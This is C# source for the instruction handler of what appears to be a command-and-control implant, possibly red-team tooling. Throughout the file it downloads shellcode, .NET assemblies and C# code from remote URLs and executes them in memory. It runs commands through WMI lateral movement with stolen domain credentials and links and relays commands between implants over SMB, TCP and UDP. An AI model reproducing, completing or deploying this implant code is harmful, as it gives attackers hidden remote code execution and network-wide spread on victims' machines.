public static void ExecShellcodeBridge(string[] args)
{
WebClient client = Common.GetWebClient();
byte[] shellcode = { };
string shellcode_arch = args[3];
switch (args[1])
{
case "url":
shellcode = client.DownloadData(args[2]);
break;
case "base64":
string base64ofsc = Encoding.UTF8.GetString(client.DownloadData(args[2]));
shellcode = Convert.FromBase64String(base64ofsc);
break;
case "file":
shellcode = Convert.FromBase64String(args[2]);
break;
default:
Console.WriteLine("Only url or base64 are valid for shellcode delivery.");
Help();
break;
}
Capabilities.ExecShellcode(shellcode, shellcode_arch);
}
public static void Instruct(string instructions)
{
// spliting the instructions to string[]
string[] args = Regex.Split(instructions, " ");
// Set the socket as the Console output
Program.consoleIO = Console.Out;
Console.SetOut(new SocketWriter());
if (args.Length == 0)
{
Console.WriteLine("No instructions?");
Help();
}
else
{
WebClient client = Common.GetWebClient();
try
{
string dataToSend = "";
switch (args[0])
{
case "help":
Help();
break;
case "register":
Console.Error.WriteLine("Registering the implant information.");
//string registration_data = "register " + Convert.ToBase64String(Encoding.UTF8.GetBytes(Common.GetInfo()));
//Console.WriteLine(registration_data);
// register the implant information
Program.Register();
// regist the the linked implants
Program.RegisterLinkedImplants();
// ask registration from all linked implants
Program.AskRegistrationsFromAllLinkedImplants();
// ask route updates from all linked implants
Program.AskRouteUpdatesFromAllLinkedImplants();
Console.Error.WriteLine("Registration is complete.");
break;
case "routeupdates":
Console.WriteLine("Route updates is sending...");
Console.WriteLine("routeupdates");
break;
case "routeremove":
if (args.Length > 1 && Program.implantRoutes.ContainsKey(args[1]))
{
string rrid = args[1];
Console.WriteLine("{0} is removing from the routing table...", rrid);
Program.implantRoutes.TryRemove(rrid, out string rridvalue);
}
else
{
Console.WriteLine("Session is not linked.");
}
break;
case "lateralmovement":
Console.WriteLine("Lateral movement starting...");
Dictionary <string, string> options = new Dictionary <string, string>();
switch (args[1])
{
case "wmiexec":
// lateralmovement wmiexec domain=DOM username=USER password=PASS host=127.1 command="powershell -c asssd"
Console.WriteLine("instuctions: {0}", instructions);
string command = Regex.Split(instructions, "\"")[1];
args = Regex.Split(Regex.Split(instructions, "\"")[0], " ");
for (int i = 2; i < args.Length; i++)
{
// get the parameters
string var = Regex.Split(args[i], "=")[0];
string val = Regex.Split(args[i], "=")[1];
// make the parameters a dictonary
if (var != "command")
{
options.Add(var, val);
Console.WriteLine("{0} => {1}", var, val);
}
else
{
Console.WriteLine("Command is adding...");
options.Add("command", command);
Console.WriteLine("command => {0}", command);
}
}
Console.WriteLine("The parameters are processing...");
// call WMI
LateralMovementWMI lm = new LateralMovementWMI();
lm.Connect(options);
break;
//wmiquery will be added soon
//case "wmiquery":
// for (int i = 2; i < args.Length; i++)
// {
// // get the parameters
// string var = Regex.Split(args[i], "=")[0];
// string val = Regex.Split(args[i], "=")[1];
// // make the parameters a dictonary
// options.Add(var, val);
// Console.WriteLine("{0} => {1}", var, val);
// }
// // call WMI
// LateralMovementWMI lmq = new LateralMovementWMI();
// lmq.Connect(options);
// break;
default:
Console.WriteLine("Lateral movement method is not supported");
break;
}
break;
case "link":
if (args.Length < 2)
{
dataToSend += "Remote host and link type are missing. Example usages:\n" +
"* link smb://192.168.1.1\n" +
"* link smb://192.168.1.1/NamedPipeName\n" +
"* link tcp://192.168.1.1/8002\n" +
"* link udp://192.168.1.1/8002\n";
}
else
{
string[] protos = { "smb", "tcp", "udp" };
if (!Array.Exists(protos, element => element == Regex.Split(args[1], ":")[0]))
{
dataToSend += "Unsupported link protocol.";
}
else
{
string link_uri = args[1];
// new implant linking
LinkedImplant linked_implant = new LinkedImplant(link_uri);
// linked implant added to the list
Program.LinkedImplants.Add(linked_implant.sessionId, linked_implant);
// no route information necessary for the linked implants
// sending the registration data to the linked service
dataToSend += "Implant linking started for " + link_uri + " as " + linked_implant.sessionId;
}
}
Console.WriteLine(dataToSend);
break;
case "sessions":
if (Program.LinkedImplants.Count == 0)
{
Console.WriteLine("No implant linked."); break;
}
dataToSend += "Linked session(s):\n";
foreach (KeyValuePair <string, LinkedImplant> linked_implant in Program.LinkedImplants)
{
dataToSend += linked_implant.Key + "\t" + linked_implant.Value.implantObject.Status + "\n";
}
Console.WriteLine(dataToSend);
break;
case "route":
if (Program.implantRoutes.Count == 0)
{
Console.WriteLine("Routing table is empty."); break;
}
dataToSend += "Routing table:\n";
foreach (KeyValuePair <string, string> r in Program.implantRoutes)
{
dataToSend += r.Key + " is linked through " + r.Value + ".\n";
}
Console.WriteLine(dataToSend);
break;
case "transmit":
if (args.Length < 2)
{
Console.WriteLine("Session ID and command are missing. Example usage:\n" +
"* transmit SESSIONID COMMAND\n");
}
else
{
string sessionId = args[1];
string cmd = String.Join(" ", args.SubArray(2, (args.Length - 2)));
string instruction = Common.Encrypt(cmd);
Console.WriteLine("The instruction is routing via {0}", sessionId);
if (Program.LinkedImplants.ContainsKey(sessionId))
{
// session ID is in the linked implants table, so transmitting it
LinkedImplant linked_implant = Program.LinkedImplants[sessionId];
if (linked_implant.implantObject.Status)
{
Console.WriteLine("The instruction is sending to the linked implant.\n{0}", cmd);
linked_implant.implantObject.Send(instruction);
}
else
{
Console.WriteLine("Session is disconnected.");
}
}
else
{
if (Program.implantRoutes.ContainsKey(sessionId))
{
// session ID is in the routing table, so transmitting it via next hop
LinkedImplant linked_implant = Program.LinkedImplants[Program.implantRoutes[sessionId]];
if (linked_implant.implantObject.Status)
{
Console.WriteLine("The instruction is routing via {0}.\n{1}", Program.implantRoutes[sessionId], instructions);
linked_implant.implantObject.Send(Common.Encrypt(instructions));
}
else
{
Console.WriteLine("Session is disconnected.");
}
}
else
{
Console.WriteLine("Invalid session ID");
}
}
}
break;
case "unlink":
if (args.Length < 2)
{
Console.WriteLine("Session ID is missing. Example usage:\n" +
"* unlink SESSIONID\n");
}
else
{
string sid = args[1];
if (Program.LinkedImplants.ContainsKey(sid))
{
if (Program.LinkedImplants[sid].implantObject.Status)
{
Console.WriteLine("Disconnecting {0}", sid);
Program.LinkedImplants[sid].implantObject.Disconnect();
}
else
{
Console.WriteLine("Session is already disconnected.");
}
Console.WriteLine("{0} is removing from the sessions table...", sid);
Program.LinkedImplants.Remove(sid);
Console.WriteLine("{0} is removing from the routing table...", sid);
Program.implantRoutes.TryRemove(sid, out string sidrvalue);
Console.WriteLine("{0} is removing from the linked service routing table...", sid);
Console.WriteLine("routeremove {0}", sid);
Program.RegisterLinkedImplants();
}
else
{
Console.WriteLine("Invalid session ID");
}
}
break;
case "exec":
if (args.Length > 2)
{
Capabilities.Exec(args[1], String.Join(" ", args.SubArray(2, (args.Length - 2))));
}
else if (args.Length == 2)
{
Capabilities.Exec(args[1], "");
}
else
{
Console.WriteLine("Missing executable name & path.");
Help();
}
break;
case "execthread":
if (args.Length > 2)
{
Capabilities.Exec(args[1], String.Join(" ", args.SubArray(2, (args.Length - 2))), false);
}
else if (args.Length == 2)
{
Capabilities.Exec(args[1], "", false);
}
else
{
Console.WriteLine("Missing executable name & path.");
Help();
}
break;
case "exec-sharpassembly":
byte[] sharpassembly;
string[] sharpassembly_arg;
if (args[1] == "url")
{
sharpassembly = client.DownloadData(args[2]);
sharpassembly_arg = args.SubArray(3, (args.Length - 3));
Capabilities.ExecSharpAssembly(sharpassembly, sharpassembly_arg);
}
else if (args[1] == "base64")
{
string base64ofasm = Encoding.UTF8.GetString(client.DownloadData(args[2]));
sharpassembly = Convert.FromBase64String(base64ofasm);
sharpassembly_arg = args.SubArray(3, (args.Length - 3));
Capabilities.ExecSharpAssembly(sharpassembly, sharpassembly_arg);
}
else
{
Console.WriteLine("Only url or base64 are valid for .NET assembly delivery.");
Help();
}
break;
case "execthread-sharpassembly":
byte[] sharpassemblyt;
string[] sharpassemblyt_arg;
if (args[1] == "url")
{
sharpassemblyt = client.DownloadData(args[2]);
sharpassemblyt_arg = args.SubArray(3, (args.Length - 3));
Capabilities.ExecSharpAssembly(sharpassemblyt, sharpassemblyt_arg, false);
}
else if (args[1] == "base64")
{
string base64ofasm = Encoding.UTF8.GetString(client.DownloadData(args[2]));
sharpassemblyt = Convert.FromBase64String(base64ofasm);
sharpassemblyt_arg = args.SubArray(3, (args.Length - 3));
Capabilities.ExecSharpAssembly(sharpassemblyt, sharpassemblyt_arg, false);
}
else
{
Console.WriteLine("Only url or base64 are valid for .NET assembly delivery.");
Help();
}
break;
case "exec-shellcode":
byte[] shellcode;
string shellcode_arch = args[3];
if (args[1] == "url")
{
shellcode = client.DownloadData(args[2]);
Capabilities.ExecShellcode(shellcode, shellcode_arch);
}
else if (args[1] == "base64")
{
string base64ofsc = Encoding.UTF8.GetString(client.DownloadData(args[2]));
shellcode = Convert.FromBase64String(base64ofsc);
Capabilities.ExecShellcode(shellcode, shellcode_arch);
}
else
{
Console.WriteLine("Only url or base64 are valid for shellcode delivery.");
Help();
}
break;
case "exec-sharpcode":
string sharpcode;
string[] sharpcode_arg;
if (args[1] == "url")
{
sharpcode = Encoding.UTF8.GetString(client.DownloadData(args[2]));
sharpcode_arg = args.SubArray(3, (args.Length - 3));
Capabilities.ExecSharpCode(sharpcode, sharpcode_arg);
}
else if (args[1] == "base64")
{
string base64ofsrc = Encoding.UTF8.GetString(client.DownloadData(args[2]));
sharpcode = Encoding.UTF8.GetString(Convert.FromBase64String(base64ofsrc));
sharpcode_arg = args.SubArray(3, (args.Length - 3));
Capabilities.ExecSharpCode(sharpcode, sharpcode_arg);
}
else
{
Console.WriteLine("Only url or base64 are valid for shellcode delivery.");
Help();
}
break;
case "execthread-sharpcode":
string sharpcodet;
string[] sharpcodet_arg;
if (args[1] == "url")
{
sharpcodet = Encoding.UTF8.GetString(client.DownloadData(args[2]));
sharpcodet_arg = args.SubArray(3, (args.Length - 3));
Capabilities.ExecSharpCode(sharpcodet, sharpcodet_arg, false);
}
else if (args[1] == "base64")
{
string base64ofsrc = Encoding.UTF8.GetString(client.DownloadData(args[2]));
sharpcodet = Encoding.UTF8.GetString(Convert.FromBase64String(base64ofsrc));
sharpcodet_arg = args.SubArray(3, (args.Length - 3));
Capabilities.ExecSharpCode(sharpcodet, sharpcodet_arg, false);
}
else
{
Console.WriteLine("Only url or base64 are valid for shellcode delivery.");
Help();
}
break;
case "exec-sharpdirect":
string code = String.Join(" ", args.SubArray(1, (args.Length - 1)));
string head = "using System;\npublic class Program\n {public static void Main()\n{";
string tail = "\n}\n}";
string sharpdirect = head + code + tail;
Capabilities.ExecSharpCode(sharpdirect, null);
break;
case "exit":
Program.exit = true;
Console.WriteLine("Exiting...");
if (Program.LinkService != null)
{
Program.LinkService.Stop();
}
break;
case "terminate":
Program.exit = true;
Program.terminate = true;
break;
default:
Console.WriteLine("Unknown instruction: {0}", args[0]);
Help();
break;
}
}
catch (Exception e)
{
Console.WriteLine("Instruction failed, here is what requested:\n");
Console.WriteLine("Error:\n{0}", e);
}
}
}